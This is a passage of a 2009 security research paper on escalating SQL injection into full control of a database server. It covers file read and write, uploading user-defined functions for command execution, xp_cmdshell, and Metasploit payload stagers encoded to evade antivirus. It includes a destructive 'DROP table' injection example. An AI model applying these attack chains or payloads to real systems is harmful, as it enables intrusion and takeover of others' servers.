Advanced SQL injection to operating system full control

Bernardo Damele Assumpção Guimarães
bernardo.damele@gmail.com

April 10, 2009

This white paper discusses the security exposures of a server that occur due to a SQL injection flaw in a web application that communicate with a database.

Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major application threats. A lot has been said on this vulnerability, but not all of the aspects and implications have been uncovered, yet.

This paper aim is to collate some of the existing knowledge, introduce new techniques and demonstrate how to get complete control over the database management system's underlying operating system, file system and internal network through a SQL injection vulnerability in over-looked and theoretically not exploitable scenarios.

Contents

Part I
Introduction

SQL injection attack is not new. The basic concept behind this attack has been described over ten years ago by Jeff Forristal[1] on Phrack[2] issue 54[74].

The Open Web Application Security Project[3] stated in the OWASP Top Ten project[4] that injection flaws[58], particularly SQL injection, is the most common and dangerous web application vulnerability, second only to Cross Site Scripting.

The question now is: *"How far can an attacker go by exploiting a SQL injection?"*. This is addressed in this paper.

1 SQL injection

The OWASP Guide[57] defines SQL injection as follows:

> "*A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.*"

Although a common problem with web applications, this vulnerability can actually affect any application that communicates with a database management system via Structured Query Language[5].

A SQL injection occurs when the application fails to properly sanitize user-supplied input used in SQL queries. In this way an attacker can manipulate the SQL statement that is passed to the back-end database management system. This statement will run with the same permissions as the application that executed the query. From now on I will refer to this user as *session user*.

[1] Jeff Forristal, also known as *RFP* and *rain.forest.puppy*, is an old school hacker currently employed at Zscaler Cloud Security. He is also famous for his personal Full Disclosure Policy.
[2] Phrack is an electronic magazine written by and for hackers first published November 17, 1985.
[3] The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software.
[4] The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list.
[5] Structured Query Language (SQL) is a database computer language designed for the retrieval and management of data in relational database management systems (RDBMS), database schema creation and modification, and database object access control management.

Modern database management systems are powerful applications. They usually provide built-in instruments to interact with the underlying file system and, in some cases, with the operating system. However, when they are absent, a motivated attacker can still access the file system and execute arbitrary commands on the underlying system: this paper will walk through how this can be achieved via a SQL injection vulnerability, focusing on web-based applications.

2 Web application scripting languages

There are many web application dynamic scripting languages: some of the most consolidated and used are PHP[6], ASP[7] and ASP.NET[8].

All of these languages have pro and cons from either a web developer or a penetration tester perspective.

They also have built-in or third-party connectors to interact with database management systems via SQL.

A vast majority of web applications store and retrieve data from databases via SQL statements.

On PHP, I used native functions used to connect and query the DBMS.

On ASP, I used third-party connectors: *MySQL Connector/ODBC 5.1*[54] for MySQL and *PostgreSQL ANSI* driver for PostgreSQL.

On ASP.NET, I also used third-party connectors: *Connector/Net 5.2.5*[53] for MySQL and *Npgsql 1.0.1*[73] driver for PostgreSQL.

The third-party connectors are available from database software vendors' websites.

2.1 Batched queries

In Structured Query Language, batched queries, also known as stacked queries, is the ability to pass multiple SQL statements, separated by a semicolon, to the database. These statements will then be executed sequentially from left to right by the DBMS. Even though they are not related to one another, failure of one will cause the following statements to not be evaluated.

The following one is an example of batched queries:

```
SELECT col FROM table1 WHERE id=1; DROP table2
```

PHP, ASP and ASP.NET scripting languages do support batched queries when interacting with the back-end DBMS with a couple of exceptions. The following

[6] PHP is a scripting language originally designed for producing dynamic web pages. It has evolved to include a command line interface capability and can be used in standalone graphical applications.

[7] Active Server Pages (ASP), also known as Classic ASP, was Microsoft's first server-side script engine for dynamically-generated web pages.

[8] ASP.NET is a web application framework developed and marketed by Microsoft to allow programmers to build dynamic web sites, web applications and web services.

table clarifies where batched queries are supported in a default installation.

	ASP	ASP.NET	PHP
MySQL	No	Yes	No
PostgreSQL	Yes	Yes	Yes
Microsoft SQL Server	Yes	Yes	Yes

Figure 1: Programming languages and their support for batched queries

Batched queries functionality is a key step for the understanding of this research.

3 Batched queries via SQL injection

Testing for batched queries support in the web application via SQL injection can be done by appending to the vulnerable parameter, a SQL statement that delays the back-end DBMS responding. This can be achieved by calling a *sleep* function or by performing a heavy `SELECT` that takes time to return, this technique is also known as "heavy queries blind SQL injection".

3.1 MySQL

It is necessary to fingerprint the DBMS software version before testing for batched queries support: MySQL **5.0.12** introduced[36] the `SLEEP()`[42] function whereas on previous versions the `BENCHMARK()`[43] function (a heavy queries blind SQL injection) could be abused.

3.2 PostgreSQL

It is necessary to fingerprint the DBMS software version before testing for batched queries support: PostgreSQL **8.2** introduced[60] the `PG_SLEEP()`[61] function whereas on previous versions the `generate_series()`[62] function (a heavy query blind SQL injection) could be abused.

The attacker could also create a custom `SLEEP()` function from the operating system built-in `libc` library.

3.3 Microsoft SQL Server

Microsoft SQL server has a built-in statement for delaying the response from the DBMS: `WAITFOR`[32] used with its argument `DELAY` followed by time (e.g. `WAITFOR DELAY '0:0:5'`).

Part II
File system access

In this section I explain how to exploit a SQL injection to get read and write access on the back-end DBMS underlying file system.

Depending upon the configuration, it can be very complex to do and may require attention to the limits imposed by both the DBMS architecture and the web application.

4 Read access

During a penetration test it can be very useful to have read access to files on the compromised machine: it can lead to disclosure of information that helps the attacker to perform further attacks as it can lead to sensible users' information leakage.

4.1 MySQL

MySQL has a built-in function that allows the reading of text or binary files on the underlying file system: `LOAD_FILE()`[44].

The session user must have the following privileges[45]: `FILE` and `CREATE TABLE` for the support table (only needed via batched queries).

On Linux and UNIX systems, the file must be owned by the user that started the MySQL process (usually `mysql`) or be world-readable. On Windows, MySQL runs by default as `Local System`, so via the database management system it is possible to read any existing file.

The file content can be retrieved via either UNION query, blind or error based SQL injection technique. However, there are some limitations to consider when calling the `LOAD_FILE()` function:

- The maximum length of file characters displayed is 5000 if the column data-type where the file content is appended is `varchar`;
- The content is truncated to a few characters in many cases when it is retrieved via error based SQL injection technique;
- The file can be in binary format (e.g. an ELF on Linux or a portable executable on Windows) and, depending on the web application language, it can not be displayed within the page content via UNION query or error based SQL injection technique.

To bypass these limitations the steps are:

- Via batched queries:
  - Create a support table with one field, data-type `longtext`;
  - Use `LOAD_FILE()` function to read the file content and redirect via `INTO DUMPFILE[48]` the corresponding hexadecimal encoded[47] string value into a temporary file;

    - Use `LOAD DATA INFILE[46]` to load the temporary file content into the support table.

- Via any other SQL injection technique:
    - Retrieve the length of the support table's field value;
    - Dump the support table's field value in chunks of 1024 characters.

Now the chunks need to be assembled into a single hexadecimal encoded string which then needs to be decoded and written on a local file.

4.2 PostgreSQL

PostgreSQL has a built-in statement that allows the copying of text file from the underlying file system to a table's `text` field: `COPY`[63].

The session user must be a "super user" to call this statement[9].

The file must be owned by the user that started the PostgreSQL process (usually `postgres`) or be world-readable.

The file content can be retrieved via either UNION query, blind or error based SQL injection technique. However, the web application programming language must support batched queries.

The steps are:

- Via batched queries:
    - Create a support table with one field, data-type `bytea`;
    - Use `COPY` statement to load the content of the text file into the support table.
- Via any other SQL injection technique:
    - Count the number of entries in the support table;
    - Dump the support table's field entries base64 encoded via `ENCODE` function[64].

Now the dumped entries need to be assembled into a single base64 encoded string which then needs to be decoded and written on a local file.

The `COPY` statement can not be used to read binary files since PostgreSQL 7.4: although a custom user-defined function can be used to read binary files instead. This user-defined function takes in input a binary file and output its content as an hexadecimal encoded string on a temporary text file. The attacker can then proceed to read this text file as detailed above.

[9] There is also a native function which aim is to read files, `lo_import()`[66], but it returns an OID that can later be passed as an argument to `lo_export()` function[66] to point to the referenced file and copy its content to another file path: It does not return the content so these two functions can not be used to read file via SQL injection.

4.3 Microsoft SQL Server

Microsoft SQL Server has a built-in statement that allows the insertion of either a text or a binary files content from the file system to a table's `VARCHAR` field: `BULK INSERT` [33].

The session user must have the following privileges: `INSERT`, `ADMINISTER BULK OPERATIONS` and `CREATE TABLE`.

Microsoft SQL Server 2000 runs by default as `Administrator`, so the database management system can read any existing file. This is the same on Microsoft SQL Server 2005 and 2008 when the database administrator has configured it to run either as Local System (`SYSTEM`) or as `Administrator`, otherwise the file must be world-readable which happens very often on Windows.

The file content can be retrieved via either UNION query, blind or error based SQL injection technique. However, the web application programming language must support batched queries.

The steps are:

- Via batched queries:
  - Create a support table (`table1`) with one field, data-type `text`;
  - Create another support table (`table2`) with two fields, one data-type `INT IDENTITY(1, 1) PRIMARY KEY` and the other data-type `VARCHAR(4096)`;
  - Use `BULK INSERT` statement to load the content of the file as a single entry into the support table `table1`;
  - Inject SQL code to convert[27] the support table `table1` entry into its hexadecimal encoded value then `INSERT` 4096 characters of the encoded string into each entry of the support table `table2`.
- Via any other SQL injection technique:
  - Count the number of entries in the support table `table2`;
  - Dump the support table `table2`'s `varchar` field entries sorted by `PRIMARY KEY` field.

Now the entries need to be assembled into a single hexadecimal encoded string which then needs to be decoded and written on a local file.

5 Write access

A strong proof of success of a penetration test is the ability to write on the underlying file system, as well as the execution of arbitrary commands. This will be explained later in the paper.

5.1 MySQL

MySQL has a built-in `SELECT` clause that allows the outputting of data into a file: `INTO DUMPFILE`[48].

The session user must have the following privileges: `FILE` and `INSERT`, `UPDATE` and `CREATE TABLE` for the support table (only needed via batched queries).

The created file is always world-writable. On Linux and UNIX systems it is owned by the user that started the MySQL process (usually `mysql`). On Windows, MySQL runs by default as `Local System`, and the file will be world-readable by everyone.

The file can be written via either UNION query or batched query SQL injection technique. Nevertheless there are some limitations to be considered when using the UNION query technique:

- If the injection point is on a `GET` parameter, some web servers impose a limit on the length of the parameters' request;
- It is not possible to append data to an existing file via `INTO DUMPFILE` clause.

However, these limitations can be bypassed if the web application supports batched queries with MySQL as the back-end DBMS: ASP.NET is one of these programming languages.

The steps are:

- On the attacker box:
  - Encode the local file content to its corresponding hexadecimal string;
  - Split the hexadecimal encoded string into chunks long 1024 characters each.
- Via batched queries:
  - Create a support table with one field, data-type `longblob`;
  - `INSERT[49]` the first chunk into the support table's field;
  - `UPDATE[50]` the support table's field by appending to the entry the chunks from the second to the last;
  - Export the hexadecimal encoded file content from the support table's entry to the destination file path by using `SELECT`'s `INTO DUMPFILE` clause. This is possible because on MySQL, a query like `SELECT 0x41` returns the corresponding ASCII character `A`.

It is possible to check if the file has been correctly written by retrieving the `LENGTH[47]` value of the written file.

It should be noted that abusing UNION query SQL injection technique to upload files to the database server can also be done when the web application language is ASP and PHP as they do not support batched queries by default.

5.2 PostgreSQL

PostgreSQL has native functions[66] to deal with Large Objects[65]: `lo_create()`, `lo_export()` and `lo_unlink()`. These functions have been designed to store within the database large files or reference local files via pointers, called OID, that can be then copied to other files on the file system. However, it is possible to abuse these functions and successfully write text and binary files on the underlying file system via SQL injection, even though the source file is on the attacker machine.

The session user must be a "super user" to deal with *Large Objects*[65, 67].

On Linux and UNIX systems the created file has permissions set to 644 and it is owned by the user that started the PostgreSQL process (usually `postgres`). On Windows, PostgreSQL runs by default as `postgres`, so the file owner is postgres.

The file can only be written via batched queries SQL injection technique.

The steps are:

- On the attacker box:
  - Encode the local file content to its corresponding base64 string;
  - Split the base64 encoded string into chunks long 1024 characters each.
- Via batched queries:
  - Create a support table with one field, data-type `text`;
  - `INSERT[69]` the first chunk into the support table's field;
  - `UPDATE[70]` the support table's field by appending to the entry the chunks from the second to the last;
  - Create a large object with a specific OID[66];
  - `UPDATE[70]` the `pg_largeobject[67]` system table entry corresponding to our OID by setting the `data` field value to the decoded[64] value of our support table's field entry;
  - Export the data corresponding to our OID to the destination file path via `lo_export()`.
    Note that `lo_export()` exports only the first 8192 bytes from the `pg_largeobject` table to the destination file, but this does not limit any of the attacks described later on this paper.

It is possible to check if the original file content has been correctly written to the `pg_largeobject` table by retrieving the `LENGTH[64]` value of the table's `data` field corresponding to our OID. This value corresponds to the same size of the written file if it is smaller than 8192 bytes.

5.3 Microsoft SQL Server

Microsoft SQL Server has a native extended procedure to run commands on the underlying operating system: `xp_cmdshell()`[34]. This extended procedure can be abused to execute the `echo` command redirecting its text arguments to a file. Refer to the section 8.1.1 for further details on this extended procedure.

The session user must have `CONTROL SERVER` permission to call this extended procedure.

The created file is owned by the user that started the Microsoft SQL Server process and is world-readable.

The steps are:

- On the attacker box:

    - Split the file to upload in chunks of 65280 bytes (`debug` script file size limit)[10];
    - Convert each chunk to its plain text `debug` script[3] format.
- Via batched queries:
    - For each plain text chunk's `debug` script:
        * Execute the `echo` command via `xp_cmdshell()` to output the `debug` script to a temporary file all the lines;
        * Recreate the chunk from the uploaded `debug` script by calling the Windows `debug` executable via `xp_cmdshell()`;
        * Remove the temporary `debug` script.
    - Assemble the chunks with Windows `copy` executable to recreate the original file;
    - Move the assembled file to the destination path.

It is possible to check if the file has been correctly written. The steps via batched queries are:

- Create a support table with one field, data-type `text`;
- Use `BULK INSERT` statement to load the content of the file as a single entry into the support table;
- Retrieve the `DATALENGTH` value of the support table's first entry.

[10] This technique was initially implemented by ToolCrypt Group on their `dbgtool`

Part III
Operating system access

Arbitrary command execution on the back-end DBMS underlying operating system can be achieved with all of the three database softwares. The requirements are: high privileged session user and batched queries support on the web application[11].

The techniques described in this chapter allow the execution of commands and the retrieval of their standard output via blind, UNION query or error based SQL injection technique: the command is executed via SQL injection and the standard output is also retrieved over HTTP protocol, this is an **inband connection**.

6 User-Defined Function

Wikipedia defines User-Defined Function (UDF) as follows:

> *"In SQL databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in SQL statements. The SQL standard distinguishes between scalar and table functions. A scalar function returns only a single value (or NULL).*
>
> *[...] User-defined functions in SQL are declared using the CREATE FUNCTION statement."*

On modern database management systems, it is possible to create functions from shared libraries[12] located on the file system. These functions can then be called within the `SELECT` statement like any other built-in string function.

All of the three database management systems have a set of libraries and API[13] that can be used by developers to create user-defined functions.

On Linux and UNIX systems the shared library is a shared object[81] (SO) and can be compiled with GCC[13]. On Windows it is a dynamic-link library[80] (DLL) and can be compiled with Microsoft Visual C++[23].

In order to compile a shared library, it is necessary to have the specific DBMS development libraries installed on the operating system. For instance, on recent versions of Debian GNU/Linux like systems to be able to compile a UDF for PostgreSQL you need to have installed the `postgresql-server-dev-8.3` package. With Windows, the development library path need to be added manually to the Microsoft Visual C++ project settings.

The next step is to place the shared library in a path where the DBMS looks for them when creating functions from shared libraries: where PostgreSQL allows the

[11] Only two on the nine possible combinations taken into account on table on page 6, do not support batched queries and consequently command execution is not possible via SQL injection: PHP with MySQL and ASP with MySQL.

[12] Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterwords automatically use the new shared library.

[13] An application programming interface (API) is a set of routines, data structures, object classes and/or protocols provided by libraries and/or operating system services in order to support the building of applications.

shared library to be placed in any readable/writable folder on either Windows or Linux, MySQL needs the binary file to be placed in a specific location which varies depending upon the particular software version and operating system.

7 UDF injection

Attackers have so far under-estimated the potential of using UDF to control the underlying operating system. Yet, this over-looked area of database security potentially provides routes to achieve command execution.

By exploiting a SQL injection flaw it is possible to upload a shared library which contains two user-defined functions:

- `sys_eval(cmd)` - executes an arbitrary command, and returns it's standard output;
- `sys_exec(cmd)` - executes an arbitrary command, and returns it's exit code.

After uploading the binary file on a path where the back-end DBMS looks for shared libraries, the attacker can create the two user-defined functions from it: this would be UDF injection.

Now, the attacker can call either of the two functions: if the command is executed via `sys_exec()`, it is executed via batched queries technique and no output is returned. Otherwise, if it is executed via `sys_eval()`, a support table is created, the command is run once and its standard output is inserted into the table and either the blind algorithm, the UNION query or the error based technique can be used to retrieve it by dumping the support table's first entry; after the dump, the entry is deleted and the support table is clean to be used again.

7.1 MySQL

7.1.1 Shared library creation

On MySQL, it is possible to create a shared library that defines a user-defined function to execute commands on the underlying operating system. Marco Ivaldi demonstrated, some years ago, that his shared library[20] defined a UDF to execute a command. However, it is clear to me, that this has two limitations:

- It is not MySQL 5.0+ compliant because it does not follow the new guidelines to create a proper UDF;
- It calls C `system()` function to execute the command and returns always integer 0.

This expression of UDF is almost useless on new MySQL server versions because if an attacker wants to get the exit status or the standard output of the command he can not.

In fact, I have found that it is possible to use UDF to execute commands and retrieve their standard output via SQL injection.

I firstly focus my attention on the UDF Repository for MySQL and patched one of their codes: `lib_mysqludf_sys[79]` by adding the `sys_eval()` function to execute arbitrary commands and returns the command standard output. This code is compatible with both Linux and Windows.

The patched source code is available on sqlmap subversion repository[5].

The `sys_exec()` function can be used to execute arbitrary commands and has two advantages over Marco Ivaldi's shared library:

- It is MySQL 5.0+ compliant and it compiles on both Linux as a shared object and on Windows as a dynamic-link library;
- It returns the exit status of the executed command.

A guide to create a MySQL compliant user-defined function in C can be found on the MySQL reference manual[41]. I found also useful Roland Bouman's step by step blog post[75] on how to compile the shared library on Windows with Microsoft Visual C++.

The shared library size on Windows is 9216 bytes and on Linux it is 12896 bytes. The smaller the shared library is, the quicker it is uploaded via SQL injection. To make it as small as possible the attacker can compile it with the *optimization* setting enabled and, once compiled, it is possible to reduce the dynamic-link library size by using a portable executable packer like UPX[17] on Windows. The shared object size can be reduced by discarding all symbols with `strip` command on Linux. The resulting binary file size on Windows is 6656 bytes and on Linux it is 5476 bytes: respectively 27.8% and 57.54% less than the initial compiled shared library.

It is interesting to note that a MySQL shared library compiled with MySQL 6.0 development libraries is backward compatible with all the other MySQL versions, so by compiling one, that same binary file can be reused on any MySQL server version on the same architecture and operating system.

7.1.2 SQL injection to command execution

The session user must have the following privileges: `FILE` and `INSERT` on `mysql` database, write access on one of the shared library paths and the privileges needed to write a file, refer to section 5.1.

The steps are:

- Via blind or UNION query are:
  - Fingerprint the MySQL version for two reasons:
    * Choose the SQL statement to test for batched queries support as explained on section 3.1;
    * Identify a valid shared libraries absolute file path as explained in the next paragraph.

    - Check if `sys_exec()` and `sys_eval()` functions already exist to avoid unwanted data overwriting.

- Test for batched queries support;
- Via batched queries:
    - Upload the shared library to an absolute file system path where the MySQL server looks for them as described below;
    - Create[51] the two user-defined functions from the shared library;
    - Execute the arbitrary command via either `sys_exec()` or `sys_eval()`.

Depending on the MySQL version, the shared library must be placed in different file system paths:

- On MySQL 4.1 versions below **4.1.25**, MySQL 5.0 versions below **5.0.67** and MySQL 5.1 versions below **5.1.19** the shared library must be located in a directory that is searched by your system's dynamic linker: on Windows the shared object can be uploaded to either `C:\WINDOWS`, `C:\WINDOWS\system`, `C:\WINDOWS\system32`, `@@basedir\bin` or to `@@datadir`[14]. On Linux and UNIX systems the dynamic-link library can be placed on either `/lib`, `/usr/lib` or any of the paths specified in `/etc/ld.so.conf` file[15];
- MySQL 5.1 version **5.1.19**[39] enforced the expected behavior of the system variable `plugin_dir`[40] which specifies one absolute file system path where the shared library must be located[16]. The same applies for all versions of MySQL 6.0[52].
  From MySQL 5.1[51] and MySQL 6.0[52] manuals:

  > "`CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL|DECIMAL} SONAME shared_library_name`
  >
  > *[...]* `shared_library_name` *is the basename of the shared object file that contains the code that implements the function.* ***The file must be located in the plugin directory. This directory is given by the value of the*** `plugin_dir` ***system variable.***"

- MySQL 4.1 version **4.1.25**[35] and MySQL 5.0 version **5.0.67**[38] also introduced the system variable `plugin_dir`: by default it is empty and the same behavior of previous MySQL versions is applied.

  From MySQL 5.0 manual[37]:

[14] On Windows, MySQL runs as `Local System` (`SYSTEM`) user which by default is high privileged and can read and write files to all of the valid shared library paths.

[15] On recent versions of Linux and UNIX systems, MySQL runs as `mysql` user. By default none of the valid shared library paths are writable by this user.

[16] By default this variable value is set to `<MySQL installation path>/lib/plugin` and the `plugin/` subfolder does not exist: the server administrator must have previously created it, otherwise the attacker will not be able to upload the binary file in such folder and consequently no command execution will be possible.

> *"[...] As of MySQL 5.0.67, the file must be located in the plugin directory. This directory is given by the value of the* `plugin_dir` *system variable.* ***If the value of*** `plugin_dir` ***is empty, the behavior that is used before 5.0.67 applies: The file must be located in a directory that is searched by your system's dynamic linker****."*

7.2 PostgreSQL

7.2.1 Shared library creation

On PostgreSQL, arbitrary command execution can be achieved in three ways:

- Taking advantage of `libc` built-in `system()` function: Nico Leidecker described this technique in his paper *Having Fun With PostgreSQL*[55, 56];
- Creating a proper Procedural Language Function[71]: Daniele Bellucci described[59] the steps to go through to do that by using PL/Perl and PL/Python languages;
- Creating a C-Language Function[72] (UDF): David Litchfield described this technique in his book The Database Hacker's Handbook, chapter 25 titled *PostgreSQL: Discovery and Attack*. The sample code is freely available from the book homepage[11].

All of these methods have at least one limitation that make them useless on recent PostgreSQL server installations:

- The first method only works until PostgreSQL version **8.1** and returns the command exit status, not the command standard output. Since PostgreSQL version **8.2-devel** all shared libraries must include a "magic block".

  From PostgreSQL 8.3 manual[72]:

  > *"A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header* `fmgr.h`*:*
  >
  > ```
  > #ifdef PG_MODULE_MAGIC
  > PG_MODULE_MAGIC;
  > #endif
  > ```
  >
  > *The* `#ifdef` *test can be omitted if the code doesn't need to compile against pre-8.2 PostgreSQL releases."*

- The second method only works if PostgreSQL server has been compiled with support for one of the procedural languages. By default they are not available, at least on most Linux distributions and Windows;
- The third method works until PostgreSQL version **8.1** for the same reason of the first method and it has the same behavior: no command standard output. Anyway, it can be patched to include the "magic block" and make it work properly; also on PostgreSQL versions above 8.1.

I ported the C source code of the MySQL shared library described above to PostgreSQL and created a shared library called `lib_postgresqludf_sys` with two C-Language Function. The source code is available on sqlmap subversion repository[5].

The shared library size on Windows is 8192 bytes and on Linux it is 8567 bytes. The smallest the shared library is, the quickest it is uploaded via SQL injection. To make it as small as possible the attacker can compile it with the *optimization* setting enabled and, once compiled, it is possible to reduce the dynamic-link library size by using a portable executable packer like UPC[17] on Windows and the shared object size by discarding all symbols with `strip` command on Linux. The resulting binary file size on Windows is 6144 bytes and on Linux it is 5476 bytes: respectively 25% and 36.1% less than the initial compiled shared library.

The shared library compiled with PostgreSQL 8.3 development libraries is not backward compatible with any other PostgreSQL version: the shared library must be compiled with the same PostgreSQL development libraries version where you want to use it.

7.2.2 SQL injection to command execution

The session user must be a "super user".

The steps are:

- Via blind or UNION query:
  - Fingerprint the PostgreSQL version in order to choose the SQL statement to test for batched queries support as explained on section 3.2;
  - Check if `sys_exec()` and `sys_eval()` functions already exist to avoid unwanted data overwriting.
- Test for batched queries support;
- Via batched queries:
  - Upload the shared library to an absolute file system path where the user running PostgreSQL has read and write access[17], this can be `/tmp` on Linux and UNIX systems and `C:\WINDOWS\Temp` on Windows;
  - Create[68] the two user-defined functions from the shared library[18];
  - Execute the arbitrary command via either `sys_exec()` or `sys_eval()`.

It is interesting to note that PostgreSQL is more flexible than MySQL and allows to specify the absolute path where the shared library is.

[17] On both Linux and Windows, PostgreSQL runs the unprivileged user `postgresql`.

[18] On Windows the `postgres` user has read and write access on `<PostgreSQL installation path>/data`. The shared library can be created in this path by not specifying any path when using `lo_export()` as explained in section 5.2. That said, when the UDF is created from the shared library, the absolute path can be omitted.

8 Stored procedure

Wikipedia defines Stored Procedure as follows:

> *"A stored procedure is a subroutine available to applications accessing a relational database system. Stored procedures are actually stored in the database data dictionary.*
>
> *[...] Stored procedures are similar to user-defined functions. The major difference is that UDFs can be used like any other expression within SQL statements, whereas stored procedures must be invoked using the* `CALL` *statement or* `EXECUTE` *statement."*

On modern database management system it is possible to create stored procedures to execute complex tasks. Some DBMS have also built-in procedures, Microsoft SQL Server and Oracle for instance. Usually stored procedures make deep use of the DBMS specific dialect: respectively Transact-SQL and PL/SQL.

8.1 Microsoft SQL Server

8.1.1 xp_cmdshell procedure

Microsoft SQL Server has a built-in extended stored procedure to execute commands and return their standard output on the underlying operating system: `xp_cmdshell()`[29, 30, 31].

This stored procedure is enabled by default on Microsoft SQL Server 2000, whereas on Microsoft SQL Server 2005 and 2008 it exists but it is disabled by default: it can be re-enabled by the attacker remotely if the session user is a member of the `sysadmin` server role. On Microsoft SQL Server 2000, the `sp_addextendedproc` stored procedure can be used whereas on Microsoft SQL Server 2005 and 2008, the `sp_configure` stored procedure can be used.

If the procedure re-enabling fails, the attacker can create a new procedure from scratch using shell object if the session user has the required privileges. This technique has been illustrated numerous times and can be still used if the session user is high privileged[2].

On all Microsoft SQL Server versions, this procedure can be executed only by users with the `sysadmin` server role. On Microsoft SQL Server 2005 and 2008 also users specified as *proxy account* can run this procedure.

8.1.2 SQL injection to command execution

The session user must have `CONTROL SERVER` permission.

The first thing to do is to check if `xp_cmdshell()` extended procedure exists and is enabled: re-enable it if it is disabled and create it from scratch if the creation fails.

If the attacker wants the command standard output:

- Create a support table with one field, data-type `text`;
- Execute the command via `xp_cmdshell()` procedure redirecting its standard output to a temporary file;

- Use `BULK INSERT` statement to load the content of the temporary file as a single entry into the support table;
- Remove the temporary file via `xp_cmdshell()`;
- Retrieve the content of the support table's entry;
- Delete the content of support table.

Otherwise:

- Execute the command via `xp_cmdshell()` procedure.

Part IV
Out-of-band connection

In the previous chapter I discussed two techniques to execute commands on the underlying operating system: UDF injection and stored procedure use.

In this chapter I discuss how to establish an **out-of-band connection between the attacker host and the database server** by exploiting a SQL injection flaw in a web application. Once the attack is successful, a command prompt or a graphical user interface full-duplex TCP connection is established between the two endpoints.

This is possible in practice by integrating the Metasploit Framework[76] in sqlmap[4] and requires both back-end DBMS underlying file system access and inband command execution, both explained previously.

From the Metasploit project site:

> *"The Metasploit Framework is a development platform for creating security tools and exploits. [...] The framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload."*

9 Stand-alone payload stager

An out-of-band connection between the attacker and the database server can be achieved by forging a stand-alone payload[19] stager[20], based on the user's options with Metasploit's `msfpayload` tool. Then it is necessary to encode[21] it with Metasploit's `msfencode` tool, to bypass antivirus softwares, upload it via SQL injection to the file system temporary folder and execute it.

Depending on the user's options, the stager will bind and listen on a TCP port on the database server waiting for an incoming connection or it will connect back to a TCP port on the attacker host. Either bind or reverse connection, Metasploit's `msfcli`[22] tool has to be executed on the attacker host before the payload

[19] The payload is the arbitrary code (shellcode) that is executed on the target system after a successful exploit attempt or after the execution of the stager. Payloads can be either command strings or raw instructions. They typically build a communication channel between Metasploit and the target host.

[20] A stager payload is an implementation of a payload that establishes some communication channel with the attacker to read in or otherwise obtain a second stage payload to execute. For example, a stager might connection back to the attacker on a defined port and read in code to execute.

[21] An encoder is used to generate transformed versions of raw payloads in a way that allows them to be restored to their original form at execution time and then subsequently executed.

[22] `msfcli` is the Metasploit Command Line Interface. This interface takes a Metasploit module name as the first parameter, followed by the options in a `VAR=VAL` format, and finally an action code to specify what should be done.

stager is executed on the database server: the Metasploit's multi-handler exploit[23], `exploits/multi/handler.rb`[78], is used on the attacker endpoint.

9.1 Payload stager options

Metasploit has numerous payloads for several operating systems and architectures. sqlmap asks the attacker for:

- Connection type, it can be bind or reverse:
  - Back-end DBMS server address if different from the web server address in case of bind connection.
- TCP port to listen on the attacker host in case of reverse connection or on the database server in case of bind connection;
- Multistage payload to use among:
  - `shell`[24] if the back-end DBMS underlying operating system is either Windows or Linux;
  - `meterpreter`[25] if the back-end DBMS underlying operating system is Windows[21];
  - `vnc`[26] if the back-end DBMS underlying operating system.
- Algorithm to encode the payload: at the time of writing Metasploit supports twelve different encoders.

Based on the user's options, sqlmap creates the payload stager, encodes it and packs it with UPX[17]: an executable payload originally 9728 bytes is resized to 2560 bytes and consequently quicker to upload via SQL injection.

The payload executables generated by Metasploit Framework 3 automatically handles and bypasses operating system memory protections:

- The ELF payload stager for Linux has the shellcode that resides in a memory zone already marked as executable so that no memory protection bypass is needed;
- On Windows, the Data Execution Prevention, described on paragraph 11.2, is bypassed by allocating the memory page as readable, writable and **executable** before copying the shellcode on it and executing it. This is defined on the Metasploit's template file used to generate the portable executable payload stager.

[23] The `multi/handler` exploit is a stub that provides all of the features of the Metasploit payload system to exploits or stand-alone payload stagers that have been launched outside of the Metasploit Framework.

[24] The shell payload spawns a piped command shell, on Linux usually it is `bash` and on Windows it is the command prompt `cmd`.

[25] The Meterpreter is an advanced multi-function payload that can be dynamically extended at run-time. In normal terms, this means that it provides you with a basic shell and allows you to add new features to it as needed.

[26] The VNC server payload allows the attacker to access the desktop of the database server if the Administrator is logged in.

9.2 Session

After the payload stager is created, it is uploaded, as explained on page 10, via batched queries SQL injection technique to an absolute file system path on the database server where the user running the back-end DBMS process has read and write access: `/tmp` on Linux and UNIX systems and `C:\WINDOWS\Temp` on Windows.

The payload stager upload requires six HTTP requests on Microsoft SQL Server, nine on MySQL and twelve on PostgreSQL.

At this point Metasploit's `msfcli` tool is executed on the attacker host using the multi-handler exploit with the user's options provided to create the payload stager: this requires some time because `msfcli` tool loads in memory all the Metasploit modules.

The payload stager is then executed on the database server via `sys_exec()` function on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server and the full-duplex out-of-band connection is established.

The control of the connection is now passed to the multi-handler exploit which, depending on the payload chosen, sends the intermediate stager and the DLL (for Meterpreter and VNC) to the database server endpoint before initializing the session.

Over this connection, the attacker interacts with the database server underlying operating system, being it a terminal, a Meterpreter console or a VNC graphical user interface.

It is important to note that the payload stager is executed on the database server with the privileges of the user running the back-end DBMS server process. However, under certain circumstances on Windows, it is possible to perform a privilege escalation to `SYSTEM` as explained on page 32.

10 SMB relay attack

The SMB authentication relay attack was researched in 1996 by Dominique Brezinski and explained in his paper titled *A Weakness in CIFS Authentication*[12] presented at Black Hat USA 1997.

The first public tool to implement this attack, SMBRelay2[18], was released by Josh Buchbinder during @tlanta convention on March 31, 2001.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim's own credentials, this attack is also known as SMB credential reflection.

